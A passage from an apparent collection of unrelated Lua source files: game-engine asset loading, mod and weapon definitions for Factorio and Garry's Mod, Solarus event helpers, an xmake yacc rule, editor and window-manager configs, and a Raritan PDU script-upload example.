__TS__New(Error, ((((((("Could not find " .. (domain_displayname or domain)) .. " file with filename \"") .. filename) .. "\" in ") .. self.base_url) .. "/") .. domain) .. " folder"),
0
)
end
function ContentManager.prototype.getSource(self, filename, ____type)
local filaname_and_type = (filename .. "?type=") .. ____type
if self.audio_cache[filaname_and_type] then
return self.audio_cache[filaname_and_type]
end
self.audio_cache[filaname_and_type] = love.audio.newSource(
self:resolveAssetsPath("audio", filename, self.audio_formats),
____type
)
return self.audio_cache[filaname_and_type]
end
function ContentManager.prototype.getImageData(self, filename)
if self.image_data_cache[filename] then
return self.image_data_cache[filename]
end
self.image_data_cache[filename] = love.image.newImageData(self:resolveAssetsPath("images", filename, self.image_formats, "image"))
return self.image_data_cache[filename]
end
function ContentManager.prototype.getFont(self, filename, size, hint)
if hint == nil then
hint = "normal"
end
local filename_and_size_hint = (((filename .. "?size=") .. tostring(size)) .. "&hint=") .. hint
if self.font_cache[filename_and_size_hint] then
return self.font_cache[filename_and_size_hint]
end
self.font_cache[filename_and_size_hint] = love.graphics.newFont(
self:resolveAssetsPath("fonts", filename, self.font_formats, "font"),
size,
hint
)
return self.font_cache[filename_and_size_hint]
end
function ContentManager.prototype.getShader(self, filename)
if self.shader_cache[filename] then
return self.shader_cache[filename]
end
self.shader_cache[filename] = love.graphics.newShader(self:resolveAssetsPath("shaders", filename, self.shader_formats, "shader"))
return self.shader_cache[filename]
end
return ____exports
|
--!A cross-platform build utility based on Lua
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
-- Copyright (C) 2015-present, TBOOX Open Source Group.
--
-- @author ruki
-- @file xmake.lua
--
-- define rule: yacc
rule("yacc")
set_extensions(".y", ".yy")
before_buildcmd_file(function (target, batchcmds, sourcefile_yacc, opt)
-- get yacc
import("lib.detect.find_tool")
local yacc = assert(find_tool("bison") or find_tool("yacc"), "yacc/bison not found!")
-- get c/c++ source file for yacc
local extension = path.extension(sourcefile_yacc)
local sourcefile_cx = path.join(target:autogendir(), "rules", "yacc_yacc", path.basename(sourcefile_yacc) .. ".tab" .. (extension == ".yy" and ".cpp" or ".c"))
-- add objectfile
local objectfile = target:objectfile(sourcefile_cx)
table.insert(target:objectfiles(), objectfile)
-- add includedirs
local sourcefile_dir = path.directory(sourcefile_cx)
target:add("includedirs", sourcefile_dir)
-- add commands
batchcmds:show_progress(opt.progress, "${color.build.object}compiling.yacc %s", sourcefile_yacc)
batchcmds:mkdir(sourcefile_dir)
batchcmds:vrunv(yacc.program, {"-d", "-o", sourcefile_cx, sourcefile_yacc})
batchcmds:compile(sourcefile_cx, objectfile)
-- add deps
batchcmds:add_depfiles(sourcefile_yacc)
batchcmds:set_depmtime(os.mtime(objectfile))
batchcmds:set_depcache(target:dependfile(objectfile))
end)
|
require "scripts.core.ability"
require "scripts.core.projectile"
--require "gamemode.Spark.modifiers.modifier_runic_burst";
local DebugRenderer = Require("debugRenderer")
Legendarium = class(Ability)
function Legendarium:OnCreated ()
self:RegisterVariable("max_range", self:GetSpecialValue("range"))
self:RegisterVariable("cast_time", 0.0)
self:RegisterVariable("cast_point", 1.5)
self:RegisterVariable("range", self:GetSpecialValue("range"))
self:SetCastingBehavior(CastingBehavior(CastingBehavior.POINT_TARGET))
self.UnitsNotificationsHandler = UnitsNotificationBus.Connect(self)
end
function Legendarium:OnSpellStart()
local target = self:GetCursorPosition()
local caster = self:GetCaster()
local origin = self:GetCursorPosition()
--[[CreateTimer(function()
local duration = self:GetSpecialValue("duration")
local radius = self:GetSpecialValue("aoe")
self.thinker = ModifiersHandler:CreateModifierThinker(caster,self,"modifier_legendarium",{duration=duration,radius=20},target)
AttachParticleSystem(self.thinker, "heroes.astromage.w_quasar")
DebugRenderer.DrawAura(self.thinker,Color(1,0,0,0.4),duration)
self.TriggerArea = TriggerAreaNotificationBus.Connect(self, GetId(self.thinker))
end,0.5);]]
end
function Legendarium:OnTriggerAreaEntered(unitId)
end
function Legendarium:OnTriggerAreaExited(entityId)
if entityId == self:GetCaster():GetId() then
self.thinker:Destroy()
GameEntityContextRequestBus.Broadcast.DestroyGameEntityAndDescendants(GetId(self.thinker))
self.thinker = nil
self.TriggerArea:Disconnect()
self.TriggerArea = nil
Debug.Log("LOOK HERE FOR ON TRIGGER AREA EXITED !!")
end
end
function Legendarium:OnDeactivate()
if self.TriggerArea then
self.TriggerArea:Disconnect()
self.TriggerArea = nil
end
end
return Legendarium
|
--
-- Please see the license file included with this distribution for
-- attribution and copyright information.
--
local bShowWounds = true;
local bUpdating = false;
local sTotal;
local sWounds;
local sLink = nil;
-- For reasons known only to the Old Gods, and perhaps the Lunar Arcanum,
-- the OptionsManager is sometimes a nil value during updateDisplayMode, so a local reference is needed.
local optionsManager;
function onInit()
if super and super.onInit then
super.onInit();
end
local node = window.getDatabaseNode();
sTotal = node.getPath(sourceTotal[1]);
sWounds = node.getPath(sourceWounds[1]);
onSourceTotalUpdate();
DB.addHandler(sTotal, "onUpdate", onSourceTotalUpdate);
DB.addHandler(sWounds, "onUpdate", onSourceWoundsUpdate);
optionsManager = OptionsManager;
updateDisplayMode()
OptionsManager.registerCallback("HPDM", updateDisplayMode);
end
function onClose()
DB.removeHandler(sTotal, "onUpdate", onSourceTotalUpdate)
DB.removeHandler(sWounds, "onUpdate", onSourceWoundsUpdate)
if sLink then
DB.removeHandler(sLink, "onUpdate", onLinkUpdated);
end
end
function onDrop(x, y, draginfo)
if Session.IsHost then
if draginfo.getType() == "number" then
local node = window.getDatabaseNode();
local rActor = ActorManager.getActorFromCT(node);
ActionDamage.applyDamage(nil, rActor, CombatManager.isCTHidden(node), draginfo.getDescription(), draginfo.getNumberData());
return true;
end
return false;
end
end
function onSourceTotalUpdate()
if bUpdating then
return;
end
local nTotal = DB.getValue(sTotal, 0);
setMaxValue(nTotal);
bUpdating = true;
if not bShowWounds then
local nWounds = DB.getValue(sWounds, 0);
setValue(nTotal - nWounds);
end
update();
bUpdating = false;
end
function onSourceWoundsUpdate()
if bUpdating then
return;
end
bUpdating = true;
local nWounds = DB.getValue(sWounds, 0);
if bShowWounds then
setValue(nWounds);
else
local nTotal = DB.getValue(sTotal, 0);
setValue(nTotal - nWounds);
end
if sLink and not isReadOnly() then
DB.setValue(sLink, "number", nWounds);
end
update();
bUpdating = false;
end
function onValueChanged()
if bUpdating or isReadOnly() then
return;
end
bUpdating = true;
local nWounds;
if bShowWounds then
nWounds = getValue()
else
local nTotal = DB.getValue(sTotal, 0);
local nCurrent = getValue();
nWounds = nTotal - nCurrent;
end
if sLink then
DB.setValue(sLink, "number", nWounds);
end
DB.setValue(sWounds, "number", nWounds);
update();
bUpdating = false;
end
function onLinkUpdated()
if bUpdating or isReadOnly() then
return;
end
bUpdating = true;
local nWounds = DB.getValue(sLink, 0);
if bShowWounds then
setValue(nWounds);
else
local nTotal = DB.getValue(sTotal, 0);
setValue(nTotal - nWounds);
end
DB.setValue(sWounds, "number", nWounds);
update();
bUpdating = false;
end
function setLink(dbnode, bLock)
if sLink then
DB.removeHandler(sLink, "onUpdate", onLinkUpdated);
sLink = nil;
end
if dbnode then
sLink = dbnode.getNodeName();
if not nolinkwidget then
addBitmapWidget("field_linked").setPosition("bottomright", 0, -2);
end
if bLock == true then
setReadOnly(true);
end
DB.addHandler(sLink, "onUpdate", onLinkUpdated);
onLinkUpdated();
end
end
function update()
window.onHealthChanged();
end
function updateDisplayMode()
bShowWounds = optionsManager.isOption("HPDM", "");
if bUpdating then
return;
end
bUpdating = true;
if bShowWounds then
setValue(DB.getValue(sWounds, 0));
else
local nTotal = DB.getValue(sTotal, 0);
local nWounds = DB.getValue(sWounds, 0);
setValue(nTotal - nWounds);
end
bUpdating = false;
end
|
-- This script allows to register multiple functions as Solarus events.
--
-- Usage:
--
-- Just require() this script and then all Solarus types
-- will have a register_event() method that adds an event callback.
--
-- Example:
--
-- local multi_events = require("scripts/multi_events")
--
-- -- Register two callbacks for the game:on_started() event:
-- game:register_event("on_started", my_function)
-- game:register_event("on_started", another_function)
--
-- -- It even works on metatables!
-- game_meta:register_event("on_started", my_function)
-- game_meta:register_event("on_started", another_function)
--
-- The good old way of defining an event still works
-- (but you cannot mix both approaches on the same object):
-- function game:on_started()
-- -- Some code.
-- end
--
-- Limitations:
--
-- Menus are regular Lua tables and not a proper Solarus type.
-- They can also support multiple events, but to do so you first have
-- to enable the feature explicitly like this:
-- multi_events:enable(my_menu)
-- Note that sol.main does not have this constraint even if it is also
-- a regular Lua table.
local multi_events = {}
--create the base function that looks at the metatable remaining events
local function mt_trampoline(obj,event_name)
local mt = getmetatable(obj)
if mt then
return function(...)
local pf = mt[event_name] or function() end
return pf(...)
end
end
return function() end
end
-- get actual '_events' field of the object
-- cannot use rawget because object could be a meta data
local function get_events(object)
local mt = getmetatable(object)
local events = object._events
if mt and events == mt._events then
return {}
end
return events or {}
end
local function safe_rawget(object,key)
if type(object) == 'table' then
return rawget(object,key)
else
-- see if the object is a solarus userdata and perform the 'rawget'
local objtable = debug.getregistry()['sol.userdata_tables'][obj]
if objtable then
return objtable[key]
end
end
end
local function register_event(object, event_name, callback, first)
local events = get_events(object)
if (not events[event_name]) and safe_rawget(object,event_name) then
--a callback was registered without register_event
--insert mt_trampoline behind it
--print("[Warning] using register event after a regular :on_ setting")
local unregistered = object[event_name]
local tramp = mt_trampoline(object,event_name)
object[event_name] = function(...)
return unregistered(...) or tramp(...)
end
end
object._events = nil --remove events to allow modification
events[event_name] = true --set event as registered
local previous_callbacks = object[event_name] or mt_trampoline(object,event_name)
if first then
object[event_name] = function(...)
return callback(...) or previous_callbacks(...)
end
else
object[event_name] = function(...)
return previous_callbacks(...) or callback(...)
end
end
object._events = events
end
-- Adds the multi event register_event() feature to an object
-- (userdata, userdata metatable or table).
function multi_events:enable(object)
object.register_event = register_event
local old_newindex = object.__newindex or rawset
function object.__newindex(t,k,v)
local events = get_events(t)
if events and events[k] then
error(string.format("overriding '%s', a event previously registered with 'register_event'",k))
else
old_newindex(t,k,v)
end
end
end
local types = {
"game",
"map",
"item",
"surface",
"text_surface",
"sprite",
"timer",
"movement",
"straight_movement",
"target_movement",
"random_movement",
"path_movement",
"random_path_movement",
"path_finding_movement",
"circle_movement",
"jump_movement",
"pixel_movement",
"hero",
"dynamic_tile",
"teletransporter",
"destination",
"pickable",
"destructible",
"carried_object",
"chest",
"shop_treasure",
"enemy",
"npc",
"block",
"jumper",
"switch",
"sensor",
"separator",
"wall",
"crystal",
"crystal_block",
"stream",
"door",
"stairs",
"bomb",
"explosion",
"fire",
"arrow",
"hookshot",
"boomerang",
"camera",
"custom_entity"
}
-- Add the register_event function to all userdata types.
for _, type in ipairs(types) do
local meta = sol.main.get_metatable(type)
assert(meta ~= nil)
multi_events:enable(meta)
end
-- Also add it to sol.main (which is a regular table).
multi_events:enable(sol.main)
return multi_events
|
local energy_source = require("prototypes.parts.energy_source")
function oreCleaner(args)
local name = args.name
local speed = args.speed
local energy = args.energy
local modSlots = args.modSlots
local ingredients = args.ingredients
local iconTint = args.iconTint
local entityTint = args.entityTint
local health = args.health
local entity = table.deepcopy(data.raw["assembling-machine"]["chemical-plant"])
local item = table.deepcopy(data.raw.item["chemical-plant"])
local recipe = table.deepcopy(data.raw.recipe["chemical-plant"])
local icon = {{
icon=item.icon,
tint=iconTint
}}
item.name = name
item.place_result = name
item.icons = icon
entity.name = name
entity.crafting_speed = speed
entity.crafting_categories = {"t-clean-nuclear"}
entity.minable = {mining_time = 2, result = name}
entity.energy_source =
{
type = "electric",
-- will produce this much * energy pollution units per tick
emissions = 0.001,
usage_priority = "secondary-input"
}
entity.energy_usage = energy
entity.max_health = health
entity.module_specification =
{
module_slots = modSlots
}
for k, v in pairs(entity.animation.north.layers) do
v.tint = entityTint
end
for k, v in pairs(entity.animation.south.layers) do
v.tint = entityTint
end
for k, v in pairs(entity.animation.east.layers) do
v.tint = entityTint
end
for k, v in pairs(entity.animation.west.layers) do
v.tint = entityTint
end
recipe.enabled = false
recipe.name = name
recipe.normal = nil
recipe.expensive = nil
recipe.ingredients = ingredients
recipe.energy_required = 60
recipe.requester_paste_multiplier = 2
if (TurboFactory.Debug) then
recipe.enabled = true
recipe.ingredients = {
{"iron-plate",1},
}
end
recipe.result = name
recipe.icons = icon
recipe.icon_size = 32
data:extend({entity, recipe, item})
-- body
end
local mk1 = {
name = "radioactive-cleaner",
speed = 5,
energy = "900kW",
modSlots = 0,
ingredients = {
{"pipe", 500},
{"processing-unit",20},
{"steel-plate",120},
{"concrete",500},
},
iconTint = {r=0.5,g=0.8,b=1,a=0.8},
entityTint = {r=0.5,g=0.8,b=1,a=1},
health = 3000,
prerequisites = nil,
science_count = nil
}
oreCleaner(mk1)
table.insert(data.raw.technology["clean-nuclear-ore"].effects, {
type = "unlock-recipe",
recipe = mk1.name
})
|
-- SPDX-License-Identifier: BSD-3-Clause
--
-- Copyright 2016 Raritan Inc. All rights reserved.
-- Uploads a script to switch off outlets after delay. You specify the outlet
-- and delay time at the script arguments.
require "LuaService"
require "Pdu"
-- the name of the Lua script to upload
local newScriptFileName = "switchOff.lua"
-- the name used to reference on LuaService
local newScriptName = "switchOff"
-- newScriptOptions will contain our script options
local newScriptOptions = {}
-- at least there must be a empty table called defaultArgs
newScriptOptions.defaultArgs = {}
newScriptOptions.autoRestart = false
newScriptOptions.autoStart = false
-- open a file and read its content
local newFile = io.open(newScriptFileName)
local newScript = newFile:read("*a")
-- get the LuaService manager
local lsManager = luaservice.Manager:getDefault()
-- upload the new script
local errorCode = lsManager:setScript(newScriptName, newScript, newScriptOptions)
print("uploading script '" .. newScriptName .. "' returns with code: " .. errorCode)
-- exit and signal success
local pdu = pdumodel.Pdu:getDefault()
local beeper = pdu:getBeeper()
beeper:activate(true, "finished uploading", 100)
os.exit(0)
|
AddCSLuaFile( "cl_init.lua" )
AddCSLuaFile( "shared.lua" )
include( 'shared.lua' )
ENT.Damage = 80
ENT.Blast = Sound( "physics/nearmiss/whoosh_huge2.wav" )
ENT.Blast2 = Sound( "ambient/levels/citadel/portal_beam_shoot5.wav" )
local anomalyID = tostring(math.Rand(1,2))
--Wake variables
ENT.WakeRange = 600
ENT.SleepTimer = 0
ENT.IsSleeping = true --starts the anomaly out sleeping so it doesn't use a ton of server assets
function ENT:Initialize()
self.Entity:SetMoveType( MOVETYPE_NONE )
self.Entity:SetSolid( SOLID_NONE )
self.Entity:SetModel( "models/props_junk/watermelon01.mdl" )
self.Entity:SetKeyValue("renderamt", "0")
self.Entity:SetMaterial("models/props_combine/portalball001_sheet")
self.Entity:SetCollisionGroup( COLLISION_GROUP_DEBRIS_TRIGGER )
self.Entity:SetTrigger( true )
self.Entity:SetNotSolid( true )
self.Entity:DrawShadow( false )
self.Entity:SetCollisionBounds( Vector( -50, -50, -50 ), Vector( 50, 50, 50 ) )
self.Entity:PhysicsInitBox( Vector( -50, -50, -50 ), Vector( 50, 50, 50 ) )
self.LastHit = 0
end
function ENT:SpawnFunction( ply, tr )
if ( !tr.Hit ) then return end
local SpawnPos = tr.HitPos + tr.HitNormal * 16
local ent = ents.Create( self.ClassName )
ent:SetPos( SpawnPos )
ent:Spawn()
ent:Activate()
// Spawns a random artifact every 4 hour
--timer.Create(anomalyID, 14400, 0, function()
timer.Create(anomalyID, 7200 + math.random(7200), 0, function()
if math.random(100) < 20 then
local rnd = math.floor(math.Rand(1,101))
if rnd > 1 and rnd < 25 then // 25 %
nut.item.spawn("stoneflower", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {})
elseif rnd > 25 and rnd < 50 then // 25 %
nut.item.spawn("jellyfish", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {})
elseif rnd > 50 and rnd < 70 then // 20 %
nut.item.spawn("nightstar", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {})
elseif rnd > 70 and rnd < 83 then // 13 %
nut.item.spawn("kolobok", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {})
elseif rnd > 83 and rnd < 96 then // 13 %
nut.item.spawn("bubble", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {})
elseif rnd > 96 and rnd < 101 then // 4 %
nut.item.spawn("firefly", tr.HitPos+(Vector( math.Rand(-160,160), math.Rand(-160,160), 10 )), nil, AngleRand(), {})
end
end
end )
return ent
end
function ENT:GetRadiationRadius()
return 100
end
function ENT:OnRemove()
timer.Destroy(anomalyID)
end
function ENT:Think()
if self.SleepTimer < CurTime() then
if self:ShouldWake(self.WakeRange) then
self.IsSleeping = false
self.SleepTimer = CurTime() + 5
else
self.IsSleeping = true
self.SleepTimer = CurTime() + 5
end
end
if self.IsSleeping then return end
if self.BounceTime and self.BounceTime < CurTime() then
self.BounceTime = nil
local tbl = player.GetAll()
tbl = table.Add( tbl, ents.FindByClass( "prop_phys*" ) )
tbl = table.Add( tbl, ents.FindByClass( "prop_veh*" ) )
tbl = table.Add( tbl, ents.FindByClass( "npc*" ) )
local ed = EffectData()
ed:SetOrigin( self.Entity:GetPos() + Vector( 0, 0, 5 ) )
util.Effect( "dust_burst", ed, true, true )
self.Entity:EmitSound( self.Blast2, 100, 70 )
for k,ent in pairs( tbl ) do
if ent:GetPos():Distance( self.Entity:GetPos() ) < 100 then
if ent:IsPlayer() then
local dir = ( ent:GetPos() - self.Entity:GetPos() ):GetNormal()
ent:SetVelocity( dir * 2000 )
local d = DamageInfo()
d:SetDamage( self.Damage )
d:SetDamageType( DMG_ACID )
ent:TakeDamageInfo( d )
elseif string.find( ent:GetClass(), "npc" ) then
ent:TakeDamage( self.Damage )
elseif string.find( ent:GetClass(), "prop" ) then
local phys = ent:GetPhysicsObject()
if IsValid( phys ) then
local dir = ( self.Entity:GetPos() - ent:GetPos() ):GetNormal()
phys:ApplyForceCenter( dir * phys:GetMass() * 500 )
end
end
end
end
end
end
function ENT:ShouldWake( range )
local entities = ents.FindInSphere(self:GetPos(), range)
for _,v in pairs(entities) do
if v:IsPlayer() then
return true
end
end
return false
end
function ENT:Touch( ent )
if self.LastHit > CurTime() then return end
self.LastHit = CurTime() + 2
self.BounceTime = CurTime() + 0.5
self.Entity:EmitSound( self.Blast, 150, 150 )
end
|
local M = {}
function M.configure_packer(use)
use {"mfussenegger/nvim-dap", config = function() vim.fn.sign_define("DapBreakpoint", {text = '🛑', texthl = '', linehl = '', numhl = ''}) end}
use {"mfussenegger/nvim-dap-python", requires = "mfussenegger/nvim-dap"}
use {"rcarriga/nvim-dap-ui", requires = "mfussenegger/nvim-dap", config = function() require("dapui").setup() end}
end
return M
|
local awful = require('awful')
local wibox = require('wibox')
local gears = require('gears')
local titlebar_buttons = require("widgets/damn/titlebar/buttons")
local my_table = awful.util.table or gears.table
local margin = wibox.container.margin
local function titlebar(c)
local titlebar_widget =
awful.titlebar(
c,
{
size = 50,
position = "top",
buttons = my_table.join(
awful.button(
{},
1,
function()
client.focus = c
c:raise()
awful.mouse.client.move(c)
end
),
awful.button(
{},
3,
function()
client.focus = c
c:raise()
awful.mouse.client.resize(c)
end
)
)
}
)
titlebar_widget:setup {
margin(awful.titlebar.widget.titlewidget(c), 16, 12, 5, 5),
nil,
{
margin(titlebar_buttons.minimize(c), 5, 5, 5, 5),
margin(titlebar_buttons.maximize(c), 5, 5, 5, 5),
margin(titlebar_buttons.exit(c), 5, 15, 5, 5),
layout = wibox.layout.fixed.horizontal
},
layout = wibox.layout.align.horizontal
}
end
return titlebar
|
--[[
初始化变量
]]
local THIS_MODULE = ...
-- 名字
local function var_name(type,...)
if type == "MAJOR" then
local index,alive = ...
index = tonumber(index)
if alive == "ALIVE" then
return majorTeam:getAlive(index):getName()
else
return majorTeam:getRole(index):getName()
end
end
end
return {
name = var_name,
}
|
SWEP.Base = "arccw_base"
SWEP.Spawnable = true -- this obviously has to be set to true
SWEP.Category = "ArcCW - Firearms: Source 2" -- edit this if you like
SWEP.AdminOnly = false
SWEP.Slot = 4
SWEP.PrintName = "RPG-26"
SWEP.Trivia_Class = "Disposable Anti-Tank Rocket Launcher"
SWEP.Trivia_Desc = ""
SWEP.Trivia_Manufacturer = "Bazalt"
SWEP.Trivia_Calibre = "72.5MM"
SWEP.Trivia_Country = "Soviet Union"
SWEP.Trivia_Year = "1985"
SWEP.UseHands = false
SWEP.ViewModel = "models/weapons/fas2/view/explosives/rpg26.mdl"
SWEP.WorldModel = "models/weapons/fas2/world/explosives/rpg26.mdl"
SWEP.ViewModelFOV = 60
SWEP.DefaultBodygroups = "0000000"
SWEP.DefaultSkin = 0
SWEP.Damage = 0
SWEP.DamageMin = 0 -- damage done at maximum range
SWEP.Range = 250 -- in METRES
SWEP.Penetration = 20
SWEP.ShootEntity = "arccw_firearms2_rocket_fly" -- entity to fire, if any
SWEP.MuzzleVelocity = 120000
SWEP.ChamberSize = 0 -- how many rounds can be chambered.
SWEP.Primary.ClipSize = 1 -- DefaultClip is automatically set.
SWEP.Recoil = 7
SWEP.RecoilSide = 0.05
SWEP.RecoilRise = 0.1
SWEP.RecoilPunch = 0
SWEP.VisualRecoilMult = 0
SWEP.RecoilVMShake = 0
SWEP.Delay = 0.1 -- 60 / RPM.
SWEP.Num = 1 -- number of shots per trigger pull.
SWEP.Firemodes = {
{
Mode = 1,
PrintName = "Tube",
},
}
SWEP.NotForNPCS = true
SWEP.AccuracyMOA = 0 -- accuracy in Minutes of Angle. There are 60 MOA in a degree.
SWEP.HipDispersion = 200 -- inaccuracy added by hip firing.
SWEP.MoveDispersion = 150 -- inaccuracy added by moving. Applies in sights as well! Walking speed is considered as "maximum".
SWEP.SightsDispersion = 0 -- dispersion that remains even in sights
SWEP.JumpDispersion = 300 -- dispersion penalty when in the air
SWEP.Primary.Ammo = "RPG 26 Rocket" -- what ammo type the gun uses
SWEP.MagID = "" -- the magazine pool this gun draws from
SWEP.ShootVol = 110 -- volume of shoot sound
SWEP.ShootPitch = 100 -- pitch of shoot sound
SWEP.ShootPitchVariation = 0
SWEP.ShootSound = "Firearms2_RPG26"
SWEP.ShootDrySound = "" -- Add an attachment hook for Hook_GetShootDrySound please!
SWEP.DistantShootSound = "fas2/distant/rpg26.ogg"
SWEP.MuzzleEffect = "muzzle_rockets"
SWEP.ShellModel = "models/weapons/arccw/fas2/explosives/w_m79_grenade_shell.mdl"
SWEP.ShellScale = 1
SWEP.ShellSounds = ArcCW.Firearms2_Casings_Heavy
SWEP.ShellPitch = 100
SWEP.ShellTime = 1 -- add shell life time
SWEP.MuzzleEffectAttachment = 1 -- which attachment to put the muzzle on
SWEP.CaseEffectAttachment = 2 -- which attachment to put the case effect on
SWEP.SpeedMult = 0.65
SWEP.SightedSpeedMult = 0.55
SWEP.IronSightStruct = {
Pos = Vector(-2, -1, -1),
Ang = Angle(0.65, -0.02, 0),
Magnification = 1.1,
SwitchToSound = {"fas2/weapon_sightraise.wav", "fas2/weapon_sightraise2.wav"}, -- sound that plays when switching to this sight
SwitchFromSound = {"fas2/weapon_sightlower.wav", "fas2/weapon_sightlower2.wav"},
}
SWEP.SightTime = 0.5
SWEP.HoldtypeHolstered = "normal"
SWEP.HoldtypeActive = "rpg"
SWEP.HoldtypeSights = "rpg"
SWEP.HoldtypeCustomize = "slam"
SWEP.AnimShoot = ACT_HL2MP_GESTURE_RANGE_ATTACK_RPG
SWEP.CanBash = false
SWEP.ActivePos = Vector(0, 0, 1)
SWEP.ActiveAng = Angle(0, 0, 0)
SWEP.CrouchPos = Vector(0, 0, 0)
SWEP.CrouchAng = Angle(0, 0, 0)
SWEP.SprintPos = Vector(3, -3, 1)
SWEP.SprintAng = Angle(-9.633, 36.881, 0)
SWEP.BarrelOffsetSighted = Vector(0, 0, 0)
SWEP.BarrelOffsetHip = Vector(3, 0, -3)
SWEP.CustomizePos = Vector(3.824, 0, -2.297)
SWEP.CustomizeAng = Angle(12.149, 30.547, 0)
SWEP.BarrelLength = 28
SWEP.Animations = {
["idle"] = false,
-- ["ready"] = {
-- Source = "first_draw",
-- Time = 125/30,
-- SoundTable = {
-- {s = "Firearms2.Cloth_Movement", t = 0},
-- {s = "Firearms2.M24_Back", t = 0.7},
-- {s = "Firearms2.M24_Back", t = 1.7},
-- {s = "Firearms2.M67_PinPull", t = 2.4},
-- {s = "Firearms2.Cloth_Movement", t = 3},
-- },
-- },
["draw"] = {
Source = "draw",
Time = 31/40,
SoundTable = {
{s = "Firearms2.Deploy", t = 0},
},
},
["holster"] = {
Source = "holster",
Time = 20/40,
SoundTable = {
{s = "Firearms2.Holster", t = 0},
},
},
["fire"] = {
Source = "fire",
Time = 50/30,
},
}
function SWEP:Reload()
end
SWEP.Hook_PostFireBullets = function(wep)
timer.Simple(1.5, function()
if not IsValid( wep ) then return end
if wep:Clip1() == 0 and wep:Ammo1() >= 1 then
wep:SetClip1(1)
wep:GetOwner():SetAmmo(wep:Ammo1() - 1, wep.Primary.Ammo)
else
if SERVER then
wep:GetOwner():StripWeapon(wep:GetClass())
end
end
end)
end
|
if settings.startup["enable-power-armor-mk6"].value == true then
if mods["bobwarfare"] then
data:extend({
{
type = "recipe",
name = "bob-power-armor-mk6",
enabled = false,
energy_required = 30,
ingredients =
{
{ "bob-power-armor-mk5", 1 },
},
result = "bob-power-armor-mk6"
}
})
end
end
if settings.startup["enable-power-armor-mk6"].value == true then
if mods["bobwarfare"] then
if data.raw.item["advanced-processing-unit"] then
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "advanced-processing-unit", 200 })
else
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "processing-unit", 100 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "advanced-circuit", 200 })
end
if mods["bobenemies"] then
if settings.startup["bobmods-enemies-enablenewartifacts"].value == true then
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-blue", 50 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-green", 50 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-orange", 50 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-purple", 50 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-red", 50 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact-yellow", 50 })
elseif settings.startup["bobmods-enemies-enableartifacts"].value == true and settings.startup["bobmods-enemies-enablenewartifacts"].value == false then
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "alien-artifact", 500 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-gear-wheel", 250 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-plate", 500 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "steel-plate", 50 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "plastic-bar", 50 })
elseif settings.startup["bobmods-enemies-enableartifacts"].value == false and settings.startup["bobmods-enemies-enablenewartifacts"].value == false then
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-gear-wheel", 500 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-plate", 1000 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "steel-plate", 100 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "plastic-bar", 100 })
if data.raw.module["effectivity-module-8"] then
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "effectivity-module-8", 5 })
else
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "effectivity-module-3", 5 })
end
if data.raw.module["productivity-module-8"] then
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "productivity-module-8", 5 })
else
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "productivity-module-3", 5 })
end
if data.raw.module["speed-module-8"] then
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "speed-module-8", 5 })
else
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "speed-module-3", 5 })
end
end
else
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-gear-wheel", 500 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "iron-plate", 1000 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "steel-plate", 100 })
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "plastic-bar", 100 })
if data.raw.module["effectivity-module-8"] then
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "effectivity-module-8", 5 })
else
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "effectivity-module-3", 5 })
end
if data.raw.module["productivity-module-8"] then
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "productivity-module-8", 5 })
else
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "productivity-module-3", 5 })
end
if data.raw.module["speed-module-8"] then
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "speed-module-8", 5 })
else
table.insert(data.raw.recipe["bob-power-armor-mk6"].ingredients, { "speed-module-3", 5 })
end
end
end
end
if settings.startup["enable-big-furnace"].value == true then
data:extend({
{
type = "recipe",
